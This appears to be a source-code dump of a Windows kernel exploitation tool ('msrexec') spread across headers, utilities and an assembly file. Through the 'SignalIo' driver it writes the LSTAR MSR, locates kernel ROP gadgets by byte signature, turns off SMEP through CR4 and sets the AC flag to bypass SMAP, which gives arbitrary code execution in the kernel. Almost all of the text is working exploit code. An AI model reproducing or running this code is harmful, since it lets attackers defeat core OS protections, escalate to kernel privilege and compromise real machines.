| } -------------------------------------------------------------------------------- /msrexec.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "utils.hpp" 3 | #include "syscall_handler.h" 4 | #include 5 | 6 | #define IA32_LSTAR_MSR 0xC0000082 7 | #define MOV_CR4_GADGET "\x0F\x22\xE1\xC3" 8 | #define POP_RCX_GADGET "\x59\xc3" 9 | #define SYSRET_GADGET "\x48\x0F\x07" 10 | 11 | // not sure how far back this signature goes... works on 1507 though.... 12 | #define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA" 13 | #define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx" 14 | static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size..."); 15 | 16 | #define KI_SYSCALL_SHADOW_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x65\x0F\xBA\x24\x25\x00\x00\x00\x00\x00\x72\x03\x0F\x22\xDC" 17 | #define KI_SYSCALL_SHADOW_MASK "xxxxxxxx????xxxxx????xxxxx?????xxxxx" 18 | static_assert(sizeof KI_SYSCALL_SHADOW_SIG == sizeof KI_SYSCALL_SHADOW_MASK); 19 | 20 | 21 | // Windows 11 22 | //#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x33" 23 | //#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxxx" 24 | //static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size..."); 25 | // 26 | //#define KI_SYSCALL_SHADOW_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x65\x0F\xBA\x24\x25\x00\x00\x00\x00\x00" 27 | //#define KI_SYSCALL_SHADOW_MASK "xxxxxxxx????xxxxx????xxxxx?????" 28 | 29 | using get_system_routine_t = void* (*)(void*, const char*); 30 | using callback_t = std::function; 31 | using thread_info_t = std::pair; 32 | using writemsr_t = std::function; 33 | 34 | extern "C" void msrexec_handler(callback_t* callback); 35 | inline get_system_routine_t get_system_routine = nullptr; 36 | inline void* ntoskrnl_base = nullptr; 37 | 38 | namespace vdm 39 | { 40 | class msrexec_ctx 41 | { 42 | public: 43 | explicit msrexec_ctx(writemsr_t wrmsr); 44 | void exec(callback_t kernel_callback); 45 | void set_wrmsr(writemsr_t wrmsr); 46 | auto get_wrmsr() -> writemsr_t const; 47 | private: 48 | auto find_gadgets() -> bool; 49 | auto find_globals() -> bool; 50 | writemsr_t wrmsr; 51 | }; 52 | } -------------------------------------------------------------------------------- /syscall_handler.asm: -------------------------------------------------------------------------------- 1 | extern msrexec_handler : proc 2 | 3 | .data 4 | ; offsets into _KPCR/_KPRCB 5 | m_kpcr_rsp_offset dq 0h 6 | m_kpcr_krsp_offset dq 0h 7 | m_system_call dq 0h 8 | 9 | m_mov_cr4_gadget dq 0h 10 | m_sysret_gadget dq 0h 11 | m_pop_rcx_gadget dq 0h 12 | 13 | m_smep_on dq 0h 14 | m_smep_off dq 0h 15 | 16 | public m_smep_on 17 | public m_smep_off 18 | 19 | public m_kpcr_rsp_offset 20 | public m_kpcr_krsp_offset 21 | 22 | public m_pop_rcx_gadget 23 | public m_mov_cr4_gadget 24 | public m_sysret_gadget 25 | public m_system_call 26 | 27 | .code 28 | syscall_handler proc 29 | swapgs ; swap gs to kernel gs (_KPCR...) 30 | 31 | mov rax, m_kpcr_rsp_offset ; save usermode stack to _KPRCB 32 | mov gs:[rax], rsp 33 | 34 | mov rax, m_kpcr_krsp_offset ; load kernel rsp.... 35 | mov rsp, gs:[rax] 36 | 37 | push rcx ; push RIP 38 | push r11 ; push EFLAGS 39 | 40 | mov rcx, r10 ; swapped by syscall instruction so we switch it back... 41 | sub rsp, 020h 42 | call msrexec_handler ; call c++ handler (which restores LSTAR and calls lambda...) 43 | add rsp, 020h 44 | 45 | pop r11 ; pop EFLAGS 46 | pop rcx ; pop RIP 47 | 48 | mov rax, m_kpcr_rsp_offset ; restore rsp back to usermode stack... 49 | mov rsp, gs:[rax] 50 | 51 | swapgs ; swap back to TIB... 52 | ret 53 | syscall_handler endp 54 | 55 | syscall_wrapper proc 56 | push r10 ; syscall puts RIP into rcx... 57 | pushfq 58 | 59 | mov r10, rcx ; swap r10 and rcx... 60 | push m_sysret_gadget ; REX.W prefixed... 61 | 62 | lea rax, finish ; preserved value of RIP by putting it on the stack here... 63 | push rax ; 64 | 65 | push m_pop_rcx_gadget ; gadget to put RIP back into rcx... 66 | push m_mov_cr4_gadget ; turn smep back on... 67 | 68 | push m_smep_on ; value of CR4 with smep off... 69 | push m_pop_rcx_gadget ; 70 | 71 | lea rax, syscall_handler ; rop to syscall_handler to handle the syscall... 72 | push rax ; 73 | 74 | push m_mov_cr4_gadget ; disable smep... 75 | push m_smep_off ; 76 | 77 | pushfq ; THANK YOU DREW YOU SAVED THE PROJECT!!! 78 | pop rax ; this will set the AC flag in EFLAGS which "disables SMAP"... 79 | or rax, 040000h ; 80 | push rax ; 81 | popfq ; 82 | 83 | syscall ; LSTAR points at a pop rcx gadget... 84 | ; it will put m_smep_off into rcx... 85 | finish: 86 | popfq ; restore EFLAGS... 87 | pop r10 ; restore r10... 88 | ret 89 | syscall_wrapper endp 90 | end -------------------------------------------------------------------------------- /syscall_handler.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "ia32.hpp" 3 | 4 | extern "C" std::uint32_t m_kpcr_rsp_offset; 5 | extern "C" std::uint32_t m_kpcr_krsp_offset; 6 | 7 | extern "C" std::uintptr_t m_pop_rcx_gadget; 8 | extern "C" std::uintptr_t m_mov_cr4_gadget; 9 | extern "C" std::uintptr_t m_sysret_gadget; 10 | 11 | extern "C" cr4 m_smep_on; 12 | extern "C" cr4 m_smep_off; 13 | extern "C" std::uintptr_t m_system_call; 14 | extern "C" void syscall_wrapper(...); -------------------------------------------------------------------------------- /utils.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | WARNING: utils.hpp must be the first file included... 3 | this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS... 4 | */ 5 | 6 | #pragma once 7 | #define _CRT_SECURE_NO_WARNINGS 8 | #pragma comment(lib, "ntdll.lib") 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include "ia32.hpp" 22 | 23 | #define DBG_PRINT(format, ...) \ 24 | std::printf(format, __VA_ARGS__ ) 25 | 26 | typedef struct _RTL_PROCESS_MODULE_INFORMATION 27 | { 28 | HANDLE Section; 29 | PVOID MappedBase; 30 | PVOID ImageBase; 31 | ULONG ImageSize; 32 | ULONG Flags; 33 | USHORT LoadOrderIndex; 34 | USHORT InitOrderIndex; 35 | USHORT LoadCount; 36 | USHORT OffsetToFileName; 37 | UCHAR FullPathName[256]; 38 | } RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; 39 | 40 | typedef struct _RTL_PROCESS_MODULES 41 | { 42 | ULONG NumberOfModules; 43 | RTL_PROCESS_MODULE_INFORMATION Modules[1]; 44 | } RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; 45 | 46 | #define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196 47 | typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION 48 | { 49 | struct 50 | { 51 | ULONG KvaShadowEnabled : 1; 52 | ULONG KvaShadowUserGlobal : 1; 53 | ULONG KvaShadowPcid : 1; 54 | ULONG KvaShadowInvpcid : 1; 55 | ULONG KvaShadowRequired : 1; 56 | ULONG KvaShadowRequiredAvailable : 1; 57 | ULONG InvalidPteBit : 6; 58 | ULONG L1DataCacheFlushSupported : 1; 59 | ULONG L1TerminalFaultMitigationPresent : 1; 60 | ULONG Reserved : 18; 61 | } KvaShadowFlags; 62 | } SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION; 63 | 64 | namespace utils 65 | { 66 | inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask) 67 | { 68 | static const auto check_mask = 69 | [&](const char* base, const char* pattern, const char* mask) -> bool 70 | { 71 | for (; *mask; ++base, ++pattern, ++mask) 72 | if (*mask == 'x' && *base != *pattern) 73 | return false; 74 | return true; 75 | }; 76 | 77 | size -= strlen(mask); 78 | for (auto i = 0; i <= size; ++i) 79 | { 80 | void* addr = (void*)&(((char*)base)[i]); 81 | if (check_mask((char*)addr, pattern, mask)) 82 | return reinterpret_cast(addr); 83 | } 84 | 85 | return NULL; 86 | } 87 | 88 | inline void open_binary_file(const std::string& file, std::vector& data) 89 | { 90 | std::ifstream fstr(file, std::ios::binary); 91 | fstr.unsetf(std::ios::skipws); 92 | fstr.seekg(0, std::ios::end); 93 | 94 | const auto file_size = fstr.tellg(); 95 | 96 | fstr.seekg(NULL, std::ios::beg); 97 | data.reserve(static_cast(file_size)); 98 | data.insert(data.begin(), std::istream_iterator(fstr), std::istream_iterator()); 99 | } 100 | 101 | inline std::uint32_t get_pid(const wchar_t* proc_name) 102 | { 103 | PROCESSENTRY32 proc_info; 104 | proc_info.dwSize = sizeof(proc_info); 105 | 106 | HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); 107 | if (proc_snapshot == INVALID_HANDLE_VALUE) 108 | return NULL; 109 | 110 | Process32First(proc_snapshot, &proc_info); 111 | if (!wcscmp(proc_info.szExeFile, proc_name)) 112 | { 113 | CloseHandle(proc_snapshot); 114 | return proc_info.th32ProcessID; 115 | } 116 | 117 | while (Process32Next(proc_snapshot, &proc_info)) 118 | { 119 | if (!wcscmp(proc_info.szExeFile, proc_name)) 120 | { 121 | CloseHandle(proc_snapshot); 122 | return proc_info.th32ProcessID; 123 | } 124 | } 125 | 126 | CloseHandle(proc_snapshot); 127 | return NULL; 128 | } 129 | 130 | 131 | namespace kmodule 132 | { 133 | using kmodule_callback_t = std::function; 134 | inline void each_module(kmodule_callback_t callback) 135 | { 136 | void* buffer = nullptr; 137 | DWORD buffer_size = NULL; 138 | 139 | auto status = NtQuerySystemInformation( 140 | static_cast(0xB), 141 | buffer, buffer_size, &buffer_size); 142 | 143 | while (status == STATUS_INFO_LENGTH_MISMATCH) 144 | { 145 | VirtualFree(buffer, NULL, MEM_RELEASE); 146 | buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 147 | status = NtQuerySystemInformation( 148 | static_cast(0xB), 149 | buffer, buffer_size, &buffer_size); 150 | } 151 | 152 | if (!NT_SUCCESS(status)) 153 | { 154 | VirtualFree(buffer, NULL, MEM_RELEASE); 155 | return; 156 | } 157 | 158 | const auto modules = static_cast(buffer); 159 | for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) 160 | { 161 | auto full_path = std::string( 162 | reinterpret_cast( 163 | modules->Modules[idx].FullPathName)); 164 | 165 | if (full_path.find("\\SystemRoot\\") != std::string::npos) 166 | full_path.replace(full_path.find("\\SystemRoot\\"), 167 | sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\")); 168 | 169 | else if (full_path.find("\\??\\") != std::string::npos) 170 | full_path.replace(full_path.find("\\??\\"), 171 | sizeof("\\??\\") - 1, ""); 172 | 173 | if (!callback(&modules->Modules[idx], full_path.c_str())) 174 | { 175 | VirtualFree(buffer, NULL, MEM_RELEASE); 176 | return; 177 | } 178 | } 179 | 180 | VirtualFree(buffer, NULL, MEM_RELEASE); 181 | return; 182 | } 183 | 184 | inline std::uintptr_t get_base(const char* module_name) 185 | { 186 | void* buffer = nullptr; 187 | DWORD buffer_size = NULL; 188 | 189 | auto status = NtQuerySystemInformation( 190 | static_cast(0xB), 191 | buffer, buffer_size, &buffer_size); 192 | 193 | while (status == STATUS_INFO_LENGTH_MISMATCH) 194 | { 195 | VirtualFree(buffer, NULL, MEM_RELEASE); 196 | buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 197 | status = NtQuerySystemInformation( 198 | static_cast(0xB), 199 | buffer, buffer_size, &buffer_size); 200 | } 201 | 202 | if (!NT_SUCCESS(status)) 203 | { 204 | VirtualFree(buffer, NULL, MEM_RELEASE); 205 | return NULL; 206 | } 207 | 208 | const auto modules = static_cast(buffer); 209 | for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) 210 | { 211 | const auto current_module_name = 212 | std::string(reinterpret_cast( 213 | modules->Modules[idx].FullPathName) + 214 | modules->Modules[idx].OffsetToFileName); 215 | 216 | if (!_stricmp(current_module_name.c_str(), module_name)) 217 | { 218 | const auto result = 219 | reinterpret_cast( 220 | modules->Modules[idx].ImageBase); 221 | 222 | VirtualFree(buffer, NULL, MEM_RELEASE); 223 | return result; 224 | } 225 | } 226 | 227 | VirtualFree(buffer, NULL, MEM_RELEASE); 228 | return NULL; 229 | } 230 | 231 | inline std::uintptr_t get_export(const char* module_name, const char* export_name) 232 | { 233 | void* buffer = nullptr; 234 | DWORD buffer_size = NULL; 235 | 236 | NTSTATUS status = NtQuerySystemInformation( 237 | static_cast(0xB), 238 | buffer, 239 | buffer_size, 240 | &buffer_size 241 | ); 242 | 243 | while (status == STATUS_INFO_LENGTH_MISMATCH) 244 | { 245 | VirtualFree(buffer, 0, MEM_RELEASE); 246 | buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 247 | status = NtQuerySystemInformation( 248 | static_cast(0xB), 249 | buffer, 250 | buffer_size, 251 | &buffer_size 252 | ); 253 | } 254 | 255 | if (!NT_SUCCESS(status)) 256 | { 257 | VirtualFree(buffer, 0, MEM_RELEASE); 258 | return NULL; 259 | } 260 | 261 | const auto modules = static_cast(buffer); 262 | for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) 263 | { 264 | // find module and then load library it 265 | const std::string current_module_name = 266 | std::string(reinterpret_cast( 267 | modules->Modules[idx].FullPathName) + 268 | modules->Modules[idx].OffsetToFileName 269 | ); 270 | 271 | if (!_stricmp(current_module_name.c_str(), module_name)) 272 | { 273 | auto full_path = std::string( 274 | reinterpret_cast( 275 | modules->Modules[idx].FullPathName)); 276 | 277 | full_path.replace(full_path.find("\\SystemRoot\\"), 278 | sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\")); 279 | 280 | const auto module_base = 281 | LoadLibraryExA( 282 | full_path.c_str(), 283 | NULL, 284 | DONT_RESOLVE_DLL_REFERENCES 285 | ); 286 | 287 | const auto image_base = 288 | reinterpret_cast( 289 | modules->Modules[idx].ImageBase); 290 | 291 | // free the RTL_PROCESS_MODULES buffer... 292 | VirtualFree(buffer, NULL, MEM_RELEASE); 293 | 294 | const auto rva = 295 | reinterpret_cast( 296 | GetProcAddress(module_base, export_name)) - 297 | reinterpret_cast(module_base); 298 | 299 | return image_base + rva; 300 | } 301 | } 302 | 303 | VirtualFree(buffer, NULL, MEM_RELEASE); 304 | return NULL; 305 | } 306 | } 307 | 308 | namespace pe 309 | { 310 | using section_callback_t = std::function; 311 | 312 | // returns an std::vector containing all of the bytes of the section 313 | // and also the RVA from the image base to the beginning of the section... 314 | inline std::pair, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name) 315 | { 316 | const auto nt_headers = reinterpret_cast( 317 | reinterpret_cast(module_base)->e_lfanew + module_base); 318 | 319 | const auto section_header = 320 | reinterpret_cast( 321 | reinterpret_cast(nt_headers) + sizeof(DWORD) 322 | + sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader); 323 | 324 | for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx) 325 | { 326 | const auto _section_name = 327 | reinterpret_cast( 328 | section_header[idx].Name); 329 | 330 | // sometimes section names are not null terminated... 331 | if (!strncmp(_section_name, section_name, strlen(section_name) - 1)) 332 | { 333 | const auto section_base = 334 | reinterpret_cast( 335 | module_base + section_header[idx].VirtualAddress); 336 | 337 | const auto section_end = 338 | reinterpret_cast( 339 | section_base + section_header[idx].Misc.VirtualSize); 340 | 341 | std::vector section_bin(section_base, section_end); 342 | return { section_bin, section_header[idx].VirtualAddress }; 343 | } 344 | } 345 | 346 | return { {}, {} }; 347 | } 348 | 349 | inline void each_section(section_callback_t callback, std::uintptr_t module_base) 350 | { 351 | if (!module_base) 352 | return; 353 | 354 | const auto nt_headers = reinterpret_cast( 355 | reinterpret_cast(module_base)->e_lfanew + module_base); 356 | 357 | const auto section_header = 358 | reinterpret_cast( 359 | reinterpret_cast(nt_headers) + sizeof(DWORD) 360 | + sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader); 361 | 362 | for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx) 363 | { 364 | const auto _section_name = 365 | reinterpret_cast( 366 | section_header[idx].Name); 367 | 368 | // keep looping until the callback returns false... 369 | if (!callback(§ion_header[idx], module_base)) 370 | return; 371 | } 372 | } 373 | } 374 | 375 | namespace rop 376 | { 377 | // https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/ 378 | // http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1 379 | // just implimented the rop information from these posts... 380 | inline std::uintptr_t find_kgadget(const char* sig, const char* mask) 381 | { 382 | std::uintptr_t result = 0u; 383 | kmodule::each_module( 384 | [&](auto kernel_image, const char* image_name) -> bool 385 | { 386 | utils::pe::each_section( 387 | [&](auto section_header, std::uintptr_t image_base) -> bool 388 | { 389 | if (section_header->Characteristics & IMAGE_SCN_CNT_CODE && 390 | !(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE)) 391 | { 392 | const auto rop_gadget = 393 | utils::scan(image_base + section_header->VirtualAddress, 394 | section_header->Misc.VirtualSize, sig, mask); 395 | 396 | if(rop_gadget) 397 | result = (rop_gadget - image_base) + 398 | reinterpret_cast(kernel_image->ImageBase); 399 | 400 | return !rop_gadget; 401 | } 402 | return true; 403 | }, 404 | reinterpret_cast( 405 | LoadLibraryExA(image_name, 406 | NULL, DONT_RESOLVE_DLL_REFERENCES)) 407 | ); 408 | return !result; 409 | } 410 | ); 411 | return result; 412 | } 413 | } 414 | } -------------------------------------------------------------------------------- /vdm.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | #include "loadup.hpp" 6 | #include "raw_driver.hpp" 7 | #define IOCTL_WRMSR 0x9C402088 8 | 9 | #pragma pack (push, 1) 10 | typedef struct _write_msr_t 11 | { 12 | std::uint32_t reg; 13 | std::uintptr_t value; 14 | } write_msr_t, * pwrite_msr_t; 15 | #pragma pack (pop) 16 | 17 | namespace vdm 18 | { 19 | inline HANDLE drv_handle; 20 | inline auto load_drv() -> std::tuple 21 | { 22 | const auto [result, key] = 23 | driver::load( 24 | raw_driver, 25 | sizeof raw_driver 26 | ); 27 | 28 | if (result != STATUS_SUCCESS) 29 | return { {}, {}, result }; 30 | 31 | std::string symlink("\\\\.\\SignalIo"); 32 | vdm::drv_handle = CreateFileA( 33 | symlink.c_str(), 34 | GENERIC_READ | GENERIC_WRITE, 35 | NULL, 36 | NULL, 37 | OPEN_EXISTING, 38 | FILE_ATTRIBUTE_NORMAL, 39 | NULL 40 | ); 41 | 42 | return { vdm::drv_handle, key, result }; 43 | } 44 | 45 | inline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS 46 | { 47 | if (!CloseHandle(drv_handle)) 48 | return STATUS_FAIL_CHECK; 49 | 50 | return driver::unload(drv_key); 51 | } 52 | 53 | inline auto writemsr(std::uint32_t reg, std::uintptr_t value) -> bool 54 | { 55 | 56 | std::uint32_t bytes_handled; 57 | write_msr_t io_data{ reg, value }; 58 | 59 | return DeviceIoControl 60 | ( 61 | vdm::drv_handle, IOCTL_WRMSR, 62 | &io_data, sizeof io_data, 63 | &io_data, sizeof io_data, 64 | (LPDWORD)&bytes_handled, nullptr 65 | ); 66 | } 67 | } --------------------------------------------------------------------------------